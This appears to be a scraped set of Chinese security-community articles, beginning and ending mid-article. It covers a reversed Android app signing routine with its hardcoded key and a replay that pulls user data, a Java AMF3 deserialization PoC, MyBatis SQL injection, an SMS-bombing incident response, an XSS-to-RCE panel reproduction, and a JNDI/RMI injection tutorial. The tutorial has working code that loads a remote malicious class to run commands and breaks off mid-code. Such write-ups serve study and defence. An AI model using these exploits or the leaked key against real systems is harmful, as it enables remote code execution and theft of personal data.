catch(Exception v9) { v9.printStackTrace(); return ""; } } private static
String computeSign(Map arg6){ String v4_1; try { StringBuilder v1 = new
StringBuilder(); ArrayList v2 = new ArrayList(); for(Object v4:
arg6.entrySet()) { v2.add(((Map.Entry)v4).getKey()); } Collections.sort(v2);
int v3_1; for(v3_1 = 0; v3_1 < v2.size(); ++v3_1) {
if(arg6.get(v2.get(v3_1)) != null &&
!"".equals(arg6.get(v2.get(v3_1)))) { if(v1.toString().contains("=")) {
v1.append("&"); v1.append(((String)v2.get(v3_1))); v1.append("="); v4_1 =
(String)arg6.get(v2.get(v3_1)); } else { v1.append(((String)v2.get(v3_1)));
v1.append("="); v4_1 = (String)arg6.get(v2.get(v3_1)); } v1.append(v4_1); } }
v1.append("&key="); v1.append("apr1$AwP!wRRT$gJ/q.X24poeBInlUJC"); return
md5(v1.toString().replace(" ", "")).toUpperCase(); } catch(Exception v6) {
v6.printStackTrace(); return ""; } } public static void main(String[] args) {
String v0 = System.currentTimeMillis() + ""; HashMap v5_1 = new HashMap();
v5_1.put("f", "android"); v5_1.put("v", "9.9.10"); v5_1.put("weixin", "1");
v5_1.put("time", v0); String s = computeSign(v5_1);
System.out.println(v0);//time System.out.println(s);//sign }</code></pre>
<p>现在就可以调用任意接口，比如重放/personal_data/info/获取个人信息<br> <img
src="[xzfile.aliyuncs.com/media/upload/picture/20210127091321-d8c63d1c-603c-1.png](https://xzfile.aliyuncs.com/media/upload/picture/20210127091321-d8c63d1c-603c-1.png)"
alt=""><br> 成功获取个人信息，包括手机号13288886666、收货地址、性别、生日等信息<br> <img
src="[xzfile.aliyuncs.com/media/upload/picture/20210127091333-df90bce4-603c-1.png](https://xzfile.aliyuncs.com/media/upload/picture/20210127091333-df90bce4-603c-1.png)"
alt=""></p> <h2>攻击结果</h2> <p>获取了用户姓名、收货地址、手机号、生日、社区文章、评论等个人敏感信息</p>
<h2>修复建议</h2> <p>1、deeplink中的URL scheme要限制不能为HTTP<br>
2、HTTP请求中签名用到的key不要硬编码，改为动态协商</p> </iframe> | 社区文章 |
# 【技术分享】Java AMF3 反序列化漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://codewhitesec.blogspot.it/2017/04/amf.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
AMF（Action Message Format）是一种二进制序列化格式，之前主要是Flash应用程序在使用这种格式。近期，Code
White发现有多个Java
AMF库中存在漏洞，而这些漏洞将导致未经身份验证的远程代码执行。由于AMF目前已经得到了广泛的使用，因此可能会有多家厂商的产品将受到这些漏洞的影响，例如Adobe、Atlassian、HPE、SonicWall和VMware等等。
目前，漏洞相关信息已上报至美国CERT（详情请参考美国CERT
[VU#307983](https://www.kb.cert.org/vuls/id/307983)）
**概述**
目前，Code White主要对以下几种热门的Java AMF实现：
Flex BlazeDS by Adobe
Flex BlazeDS by Apache
Flamingo AMF Serializer by Exadel (已停更)
GraniteDS (已停更)
WebORB for Java by Midnight Coders
而这些又存在着下面列出的一个或多个漏洞：
XML外部实体注入（XXE）
任意对象创建及属性设置
通过RMI实现Java序列化
**漏洞影响**
简而言之，任意远程攻击者如果能够欺骗并控制服务器的通信连接，那么他将有可能向目标主机发送能够执行任意代码的序列化Java对象，当该对象在目标主机中进行反序列化之后，恶意代码将会被执行。
前两个漏洞并不是新漏洞，但是目前仍然有很多库存在这样的漏洞。除此之外，研究人员也发现了一种能够将这种设计缺陷转换成Java序列化漏洞的方法。
我们将会对上述漏洞（除了XXE）进行详细描述，如果你想了解关于这个XXE漏洞的详细内容，请参考我们之前所发表的一篇文章《[CVE-2015-3269:
Apache Flex BlazeDS XXE
Vulnerabilty](http://codewhitesec.blogspot.en/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html)》。
**介绍**
AMF3（Action Message Format version
3）同样是一种二进制信息编码格式，它也是Flash应用在与后台交互时主要使用的一种数据格式。与JSON类似，它支持不同的数据类型。考虑到向后兼容性，AMF3实际上算是AMF的一种拓展实现，并且引入了新的对象类型。
AMF3对象的新功能可以归结为两种新增加的特性，而这两种新特性（dynamic和externalizable）描述了对象是如何进行序列化操作的：
**Dynamic：** 一个声明了动态特性的类实例；公共变量成员可以在程序运行时动态添加（或删除）到实例中。
**Externalizable：** 实现flash.utils.IExternalizable并完全控制其成员序列化的类实例。
注：具体请参考Adobe官方给出的解释【[传送门](http://www.adobe.com/go/amfspec)】。
**Dynamic特性**
我们可以拿Dynamic特性与JavaBeans的功能进行对比：它允许我们通过类名及属性来创建一个对象。实际上，很多JavaBeans实体目前已经实现了这种技术，例如java.beans.Introspector、Flamingo、Flex
BlazeDS和WebORB等等。
但需要注意的是，这种功能将会导致一种可利用的漏洞产生。实际上，[Wouter
Coekaerts早在2011年就已经将这种存在于AMF实现中的漏洞曝光了](http://wouter.coekaerts.be/2011/amf-arbitrary-code-execution)，并且还在2016年发布了相应漏洞的利用代码及PoC。
**Externalizable特性**
我们可以拿Externalizable特性赖于Java的java.io.Externalizable接口进行对比。实际上，很多厂商早就已经将flash.utils.IExternalizable接口的规范进行了调整，其实它与Java的java.io.Externalizable区别不大，这种特性将允许我们可以高效地对实现了java.io.Externalizable接口的类进行重构。
java.io.Externalizable接口定义了两个方法：即readExternal（java.io.ObjectInput）和writeExternal（java.io.ObjectInput），而这两个方法将允许java类完全控制序列化以及反序列化操作。这也就意味着，在程序的运行过程中不存在默认的序列化／反序列化行为以及有效性检测。因此，相对于java.io.Serializable来说，我们使用java.io.Externalizable来实现序列化／反序列化则更加的简单和高效。
**将EXTERNALIZABLE.READEXTERNAL转换为OBJECTINPUTSTREAM.READOBJECT**
在OpenJDK
8u121中总共有十五个类实现了java.io.Externalizable接口，而其中绝大多数类的任务仅仅是重构一个对象的状态而已。除此之外，实际传递给Externalizable.readExternal（java.io.ObjectInput）方法的java.io.ObjectInput实例也并非java.io.ObjectInputStream的实例。
在这十五个类中，那些与RMI有关的类则吸引了我们的注意。尤其是sun.rmi.server.UnicastRef和sun.rmi.server.UnicastRef2，因为他们会通过sun.rmi.transport.LiveRef.read(ObjectInput,
boolean)方法来对sun.rmi.transport.LiveRef对象进行重构。除此之外，这个方法还会重构一个sun.rmi.transport.tcp.TCPEndpoint对象以及一个本地sun.rmi.transport.LiveRef对象，并且在sun.rmi.transport.DGCClient中进行注册。其中，DGCClient负责实现客户端的RMI分布式垃圾回收系统。DGCClient的外部接口为“registerRefs”方法，当一个LiveRef的远程对象需要进入虚拟机系统时，它需要在DGCClient中进行注册。关于DGCClient的更多内容请参考OpenJDK给出的官方文档【[传送门](http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u121-b00/src/share/classes/sun/rmi/transport/DGCClient.java#l54)】。
根据官方文档中的描述，LiveRef的注册是由一次远程调用完成的，而我们觉得这里将有可能允许我们通过RMI来实现远程代码执行（RCE）！
在对这次调用进行了追踪分析之后，我们发现整个调用过程非常复杂，它涉及到Externalizable.readExternal、sun.rmi.server.UnicastRef/sun.rmi.server.UnicastRef2、ObjectInputStream.readObject以及sun.rmi.transport.StreamRemoteCall.executeCall()等多种对象及方法。
接下来让我们来看看，如果我们通过一个sun.rmi.server.UnicastRef对象来对一条AMF消息进行反序列化的话会出现什么情况，相关代码如下所示（利用了Flex
BlazeDS）：
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.ActionContext;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.amf.AmfMessageDeserializer;
import flex.messaging.io.amf.AmfMessageSerializer;
import flex.messaging.io.amf.MessageBody;
public class Amf3ExternalizableUnicastRef {
public static void main(String[] args) throws IOException, ClassNotFoundException {
if (args.length < 2 || (args.length == 3 && !args[0].equals("-d"))) {
System.err.println("usage: java -jar " + Amf3ExternalizableUnicastRef.class.getSimpleName() + ".jar [-d] <host> <port>");
return;
}
boolean doDeserialize = false;
if (args.length == 3) {
doDeserialize = true;
args = Arrays.copyOfRange(args, 1, args.length);
}
// generate the UnicastRef object
Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));
// serialize object to AMF message
byte[] amf = serialize(unicastRef);
// deserialize AMF message
if (doDeserialize) {
deserialize(amf);
} else {
System.out.write(amf);
}
}
public static Object generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}
public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
ByteArrayInputStream in = new ByteArrayInputStream(amf);
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
deserializer.readMessage(new ActionMessage(), new ActionContext());
}
}
为了证实代码能够正常运行，我们首先设置了一个监听器，然后看一看链接是否能够成功建立。
此时，我们成功地与客户端建立了一条通信连接，而且使用的还是[Java
RMI传输协议](https://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-protocol3.html)。
**漏洞利用**
实际上，jacob
Baines早在2016年就已经将这项技术（[反序列化黑名单绕过](https://www.tenable.com/security/research/tra-2017-07)）公之于众了，但是我并不确定当时他是否知道这种技术同样还会将任意的Externalizable.readExternal对象转换为ObjectInputStream.readObject对象。除此之外，他当时还介绍了一个可以发送任意Payload的JRMP监听器：
java -cp ysoserial.jar ysoserial.exploit.JRMPListener ...
**厂商产品影响情况**
Vendor | Status | Date Notified | Date Updated
---|---|---|---
Adobe | [Affected](https://www.kb.cert.org/vuls/id/BLUU-AKVRGP) | 28 Mar 2017
| 03 Apr 2017
---|---|---|---
Apache Software Foundation | [Affected](https://www.kb.cert.org/vuls/id/BLUU-AKVRGX) | 28 Mar 2017 | 06 Apr 2017
Atlassian | [Affected](https://www.kb.cert.org/vuls/id/GWAN-AKHSWU) | – | 28
Mar 2017
Exadel | [Unknown](https://www.kb.cert.org/vuls/id/BLUU-AKVRGK) | 28 Mar 2017
| 28 Mar 2017
Granite Data Services | [Unknown](https://www.kb.cert.org/vuls/id/BLUU-AKHTCH)
| 16 Mar 2017 | 16 Mar 2017
Hewlett Packard Enterprise | [Unknown](https://www.kb.cert.org/vuls/id/BLUU-AKVRGU) | 28 Mar 2017 | 28 Mar 2017
Midnight Coders | [Unknown](https://www.kb.cert.org/vuls/id/BLUU-AKHTCK) | 16
Mar 2017 | 03 Apr 2017
Pivotal | [Unknown](https://www.kb.cert.org/vuls/id/BLUU-AKVRGM) | 28 Mar 2017
| 28 Mar 2017
SonicWall | [Unknown](https://www.kb.cert.org/vuls/id/BLUU-AKVRGH) | 28 Mar
2017 | 28 Mar 2017
VMware | [Unknown](https://www.kb.cert.org/vuls/id/BLUU-AKHTCM) | 16 Mar 2017
| 16 Mar 2017
**缓解方案**
首先，使用了Adobe或Apache实现的应用程序应该尽快将Apache更新至最新版本（v4.7.3）。其次，Exadel目前已经停止对他的代码库进行维护了，所以使用了Flamingo
AMF Serializer的用户不会再收到更新推送了。不过目前对于GraniteDS和WebORB还没有合适的解决方案。
**参考资料**
<http://codewhitesec.blogspot.com/2017/04/amf.html>
<http://openjdk.java.net/jeps/290>
<http://www.kb.cert.org/vuls/id/279472>
<http://www.adobe.com/go/amfspec>
<https://cwe.mitre.org/data/definitions/502.html>
<https://cwe.mitre.org/data/definitions/913.html>
<https://cwe.mitre.org/data/definitions/611.html>
**其他信息**
**CVE ID：**
CVE-2015-3269、CVE-2016-2340、CVE-2017-5641、CVE-2017-5983、CVE-2017-3199、CVE-2017-3200、CVE-2017-3201、CVE-2017-3202、CVE-2017-3203、CVE-2017-3206、CVE-2017-3207、CVE-2017-3208
**公开日期：** 2017年4月4日
**最新更新日期：** 2017年4月4日
**文档版本：** 73 | 社区文章 |
>
> 作者：[c0d3p1ut0s](https://c0d3p1ut0s.github.io/MyBatis%E6%A1%86%E6%9E%B6%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84SQL%E6%B3%A8%E5%85%A5/
> "授权发布") | 授权发布
## 0x00 MyBatis概述&背景
MyBatis
是支持定制化SQL、存储过程以及高级映射的优秀的持久层框架。由于它非常灵活，非常轻量级，受到广大开发者的欢迎，各个大厂也用得比较多。MyBatis框架介绍相关的内容不多说，这类文章网上很多，这里我着重介绍一下MyBatis下常见的SQL注入漏洞。
写到一半发现有些概念要在前面说清楚一下，不然容易晕。
* MySQL：指MySQL服务器。
* MyBatis：指MyBatis框架。
* JDBC：是Java用来规范数据库连接的接口。
* MySQL Connector/J：MySQL提供的、符合JDBC的、用来供java程序连接MySQL数据库的jar包。俗称：MySQL数据库驱动。
## 0x01 MyBatis的SQL注入
MyBatis支持两种参数符号，一种是#，另一种是$。
使用参数符号#的句子：
<select id="selectPerson" parameterType="int" resultType="hashmap">
SELECT * FROM PERSON WHERE ID = #{id}
</select>
MyBatis会创建一个预编译语句，生成的代码类似于
// Similar JDBC code, NOT MyBatis…
String selectPerson = "SELECT * FROM PERSON WHERE ID=?";
PreparedStatement ps = conn.prepareStatement(selectPerson);
ps.setInt(1,id);
参数会在SQL语句中用占位符”?”来标识，然后使用prepareStatement来预编译这个SQL语句。
但是你以为这个SQL语句真的被MySQL数据库预编译了吗？naive！其实在默认情况下，MySQL
Connector/J只不过是把selectPerson做了一下转义，前后加了双引号，拼接到SQL语句里面，然后再交给MySQL执行罢了，更多的细节可以看这里
<https://c0d3p1ut0s.github.io/%E7%AE%80%E5%8D%95%E8%AF%B4%E8%AF%B4MySQL-Prepared-Statement/>
另一种使用参数符号$时，MyBatis直接用字符串拼接把参数和SQL语句拼接在一起，然后执行。众所周知，这种情况非常危险，极容易产生SQL注入漏洞。
在使用MyBatis框架时，有以下场景极易产生SQL注入。
1. SQL语句中的一些部分，例如order by字段、表名等，是无法使用预编译语句的。这种场景极易产生SQL注入。推荐开发在Java层面做映射，设置一个字段/表名数组，仅允许用户传入索引值。这样保证传入的字段或者表名都在白名单里面。
2. like参数注入。使用如下SQL语句可防止SQL注入
> like concat('%',#{title}, '%')
3. in之后参数的SQL注入。使用如下SQL语句可防止SQL注入
id in
<foreach collection="ids" item="item" open="("separator="," close=")">
#{item}
</foreach>
## 0x02 x-generator的SQL注入
为了提高开发效率，一些generator工具被开发出来，generator是一个从数据库结构
自动生成实体类、Mapper接口以及对应的XML文件的工具。常见的generator有mybatis-generator，renren-generator等。
mybatis-generator是mybatis官方的一款generator。在mybatis-generator自动生成的SQL语句中，order
by使用的是$，也就是简单的字符串拼接，这种情况下极易产生SQL注入。需要开发者特别注意。
不过，mybatis-generator产生的like语句和in语句全部都是用的参数符号#，都是非常安全的实现。 | 社区文章 |
# 一次短信验证码攻击的应急响应
## 前言
前段时间客户现场被攻击，客户找到了公司，公司找到了我，于是有了这一次的应急响应，因为第一次搞，所以记录一下整个过程。
## 一、要做什么
刚开始不知道干啥，非常迷茫，通过老大的教导，事后总结了下面几条个人觉得非常重要的点。
1. 事件确认，发生什么事情了，什么时间，是否紧急，影响程度等。
2. 确定攻击动机，别人为什么攻击我们
3. 确认攻击手段，利用什么漏洞进行攻击的，我们的应用是否存在高危漏洞，还是某一个中间件，还是其他攻击手段
4. 制定解决方案，包括临时解决方案和最终解决方案。临时解决方案为了快速应对问题，最终解决方案为了彻底解决问题。
5. 追踪溯源，尽可能确定攻击者的身份。
6. 形成书面报告，说明事件的起因经过结果，说明事件的责任归属(谁的锅)。
## 二、详细过程
有了上面的指导，就可以第一次的应急响应了。
### 1\. 事件确认
客户给公司反映有人投诉说收到了大量的短信验证码，然后登陆了服务器发现了大量短信验证码请求。
红色标记的就是失败的次数，非常的多，可以确认有人在利用短信验证码接口进行攻击。
### 2\. 攻击动机
因为是大量短信验证码，所以攻击动机就有了两种：(1) 有人盯上了我们的客户，在恶意消耗我们的资源(但是我们客户是公安)，所以可能性不大。(2)
我们的服务器被利用了，有人在利用服务器对特定的人进行短信验证码攻击，我们只是其中的一条。所以很可能是 **短信验证码轰炸平台** 利用了我们的资源。
后面给投诉用户打了电话，投诉的人告诉我们，他收到了很多平台的短信验证码，他的同事也收到了。(可以 **确定是短信验证码轰炸** )
### 3.攻击点分析
首先先和开发确定了哪些接口都可以发送短信验证码，确定有三个可以发送短信验证码的。
#注册接口 可获取验证码
/api/user/smsxxxx?mobile=xxxx
/api/user/sms?mobile=xxxx&xxxxx
#登录接口 可获取验证码
/sendLoginMobilexxxx
通过开发确定了我们的应用存在下面的机制：每个用户每天只能发10条，每个IP可以发送100条。所以我们先确定了自己的机制是否生效，确定短信验证码机制是生效的，这里不存在安全问题。
于是我继续查看了我们的一个注册接口，发现获取短信验证码 **不需要输入图片验证码** 。如下图所示，可以直接请求短信验证码，所以才导致可以大量的爆破。
看到这里就知道是我们产品的问题了，好的产品都会在获取短信验证码前需要一个手工验证防止爆破的。
### 4\. 制定解决方案
我以为到这里就结束了，直接上图片验证码就好了。结果开发告诉我，这个功能他们原来有，下线了，因为很多老年机加了这个功能无法收到短信验证码？这是什么情况？事情果然不简单，此处应该有图片.jpg
#### 临时解决方案
所以我们先确定了临时的解决方案，修改短信验证码发送配置：(1)每个用户一天只能发五条，一个IP只能发10条。(2)当一个IP发送的数量超过100条后，日志中会记录大量的错误+ip这样的信息。所以我们可以根据这个信息来进行IP封锁。
#### 最终解决方案
上图片验证码功能
### 5\. 流量统计，进行封IP处理
因为日志都存储在ES上，而访问ES要先登录VPN，再访问堡垒机，再访问虚拟机，然后从ES上导出日志，然后从堡垒机上下载日志。非常复杂，所以这一个阶段花费了大量的时间，并且效果也不是很好。(只拿了两天的日志量，大概有100G)
这是我下载下来的日志，日志中包含了大量的报错等无用信息，因为我需要的日志都是以2020开头的，所以写了简单的脚本将信息进行过滤。
fileDir="F:\xxx\xxxx\log3"
files=os.listdir(fileDir)
with open("result3.txt","w") as f:
for file in files:
filePath=fileDir+"\\"+file
for line in open(filePath,encoding="utf-8"):
if line.startswith("2020-"):
f.write(line)
f.close()
过滤后的流量主要有两种是我要的，第一种就是发送过多，会记录ip和手机号码。第二种是成功发送的。
2020-12-17 21:35:46.035 ERROR 7 --- [-8080-exec-1974] c.d.e.w.common.utils.CheckIpSmsPrevent : send.message.over.the.limit,ip=111.229.73.67,mobile=138xxxxx12
2020-12-17 21:35:46.072 INFO 7 --- [-8080-exec-1347] c.d.e.w.common.message.SmsCodeRedisDao : get code me 1350xxxxx70 redisKey [117, 97, 97, 58, 109, 101, 58, 99, 111, 100, 101, 58, 49, 51, 53, 48, 54, 56, 50, 54, 48, 55, 48]
因为数据量太大了，所以想着用sql去统计会方便一些，就写了下面的脚本。提取了时间，ip地址和手机号。
import re
#匹配时间
pattern=re.compile("2020-[0-9]{2}-[0-9]{2}.*[0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9]{3}")
#匹配电话号码
pattern2=re.compile("1[0-9]{10}")
#匹配ip地址
pattern3=re.compile("[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}")
filePath="F:/xxxx/xxxx/results/result3.txt"
with open("sqlResult3.txt","w") as f:
for line in open(filePath):
try:
if "INFO 7" in line:
time = re.findall(pattern, line)[0]
phone = re.findall(pattern2, line)[0]
ip = '0.0.0.0'
f.write(time + ',' + phone + ',' + ip+'\n')
elif "ERROR 7" in line:
time = re.findall(pattern, line)[0]
phone = re.findall(pattern2, line)[0]
ip = re.findall(pattern3, line)[0]
f.write(time + ',' + phone + ',' + ip+'\n')
except:
pass
# f.close()
最后将数据导入到mysql中， **一共有600w行数据**
，通过sql语句进行了查询和判断，如下图所示。两天的数据量失败次数在2000次以上的就有500多个ip，这个池子还是很大的，然后查了一下其中的部分ip，发现都是阿里云，腾讯云什么的，应该都是肉鸡
因为存在大量的国内ip地址，又对ip地址的归属地进行了判断。最后发送给一线同学进行ip封锁。
## 总结
这次应急其实挺简单的，但是因为vpn，堡垒机不好导出日志花费了很多时间。因为是第一次做，所以做一次整体思路的笔记，为下一次应急做好充足的理论和流程准备。 | 社区文章 |
# 小皮面板RCE复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
免责声明：文中提到的所有技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途，否则后果自行承担！
## 漏洞成因
小皮面板登录失败时会将失败的用户名记录，并输出到面板首页，而这一过程没有对用户输入的字符做过滤，导致存在任意XSS，攻击者可以利用小皮面板自带的计划任务功能配合XSS实现RCE。
## 环境搭建
小皮官网下载面板，在本地安装。注意是面板，不是phpstudy。安装完成后会自动弹出管理端地址和账号密码的文本。
## 漏洞测试
先测试一下xss漏洞，用户名输入`<script>alert(1)</script>`，密码任意，验证码输入正确，点击登录。
然后登录管理员账号，页面弹窗，证明漏洞存在。
## RCE复现
脚本参考的是ZAC大佬编写的，感谢大佬。
利用XSS调用我们事先准备好的命令执行脚本。这里执行的命令是`echo hkqy > web目录/1.txt`
登录管理员账号，成功写入文件。
实际应用可以写webshell，反弹，或者上马等，根据自己喜好。
公众号回复 phpstudy 获取脚本 | 社区文章 |
## 前言
本篇讲述了RMI-JNDI注入的利用原理，分析了利用流程；
使用了marshalsec反序列化工具去简单的起一个RMI/LDAP服务端
对于导致JNDI注入的漏洞代码扩展至com.sun.rowset.JdbcRowSetImpl函数，为fastjson反序列化起一个引子，准备新起一文。
分析了java版本变化对于JNDI注入的影响
引出了1.8u191之后的版本该如何利用JNDI注入，准备新起一文。
提到了LDAP-JNDI注入
## JNDI
Java命名和目录接口（JNDI）是一种Java API，类似于一个索引中心，它允许客户端通过name发现和查找数据和对象。
其应用场景比如：动态加载数据库配置文件，从而保持数据库代码不变动等。
代码格式如下：
String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据
这些对象可以存储在不同的命名或目录服务中，例如远程方法调用（RMI），通用对象请求代理体系结构（CORBA），轻型目录访问协议（LDAP）或域名服务（DNS）。（此篇中我们将着重讲解RMI，提到LDAP）
RMI格式:
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");
## JNDI注入
所谓的JNDI注入就是当上文代码中jndiName这个变量可控时，引发的漏洞，它将导致远程class文件加载，从而导致远程代码执行。
我们看一个利用RMI的POC，忘记从哪里收集的了。然后分析一下调用的流程。
### poc验证
ClIENT.java（受害者）
package jndi注入;
import javax.naming.Context;
import javax.naming.InitialContext;
public class CLIENT {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
SERVER.java(攻击者部署)
package jndi注入;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class SERVER {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);
}
}
ExecTest.java(攻击者部署)
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
编译成class文件：`javac ExecTest.java`
部署在web服务上：`py -3 -m http.server 8081`
运行SERVER
运行CLIENT
> 把ExecTest.java及其编译的文件放到其他目录下，不然会在当前目录中直接找到这个类。不起web服务也会命令执行成功。
> ExecTest.java文件不能申明包名，即package xxx。声明后编译的class文件函数名称会加上包名从而不匹配。
>
> java版本小于1.8u191。之后版本存在trustCodebaseURL的限制，只信任已有的codebase地址，不再能够从指定codebase中下载字节码。
### 分析调用流程
整体调用栈如下：
`InitialContext.java`
public Object lookup(String name) throws NamingException {
//getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象，此处返回Context对象的子类rmiURLContext对象
//然后在对应协议中去lookup搜索，我们进入lookup函数
return getURLOrDefaultInitCtx(name).lookup(name);
}
`GenericURLContext.java`
//var1="rmi://127.0.0.1:1099/aa"
public Object lookup(String var1) throws NamingException {
//此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址
//不同协议调用这个函数，根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同，执行不同的getRootURLContext
//进入不同的协议路线
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找，我们进入此处，传入name-aa
} finally {
var3.close();
}
return var4;
}
`RegistryContext.java`：
//传入var1=aa
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {//判断来到这里
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));//RMI客户端与注册中心通讯，返回RMI服务IP，地址等信息
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));//我们进入此处
}
}
`RegistryContext.java`：
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
//注意到上面的服务端代码，我们在RMI服务端绑定的是一个Reference对象，世界线在这里变动
//如果是Reference对象会，进入var.getReference()，与RMI服务器进行一次连接，获取到远程class文件地址。
//如果是普通RMI对象服务，这里不会进行连接，只有在正式远程函数调用的时候才会连接RMI服务。
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
//获取reference对象进入此处
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
}
`NamingManager.java` 截取部分有用的代码
//传入Reference对象到refinfo
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
// Use builder if installed
...
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {//满足
ref = (Reference) refInfo;//复制
} else if (refInfo instanceof Referenceable) {//不进入
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {//进入此处
String f = ref.getFactoryClassName();//函数名 ExecTest
if (f != null) {
//任意命令执行点1（构造函数、静态代码），进入此处
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
//任意命令执行点2（覆写getObjectInstance），
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
`NamingManager.java`
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
//尝试从本地获取该class
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
//如果不在本地classpath，从cosebase中获取class
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
//此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:8081/
try {
//从我们放置恶意class文件的web服务器中获取class文件
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
//实例化我们的恶意class文件
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
实例化会默认调用构造方法、静态代码块。
上面的例子就是调用了构造方法完成任意代码执行。
但是可以注意到之前执行任意命令成功，但是报错退出了，我们修改我们的恶意class文件，换一个命令执行点`factory.getObjectInstance`复写该函数执行命令。
1. 报错是因为我们的类在实例化后不能转化为ObjectFactory`(ObjectFactory) clas.newInstance()`。只需要我们的类继承该类即可。
2. 根据ObjectFactory.java的getObjectInstance接口复写函数
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception;
最终第二版ExecTest如下：
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}
public static String exec(String cmd) {
try {
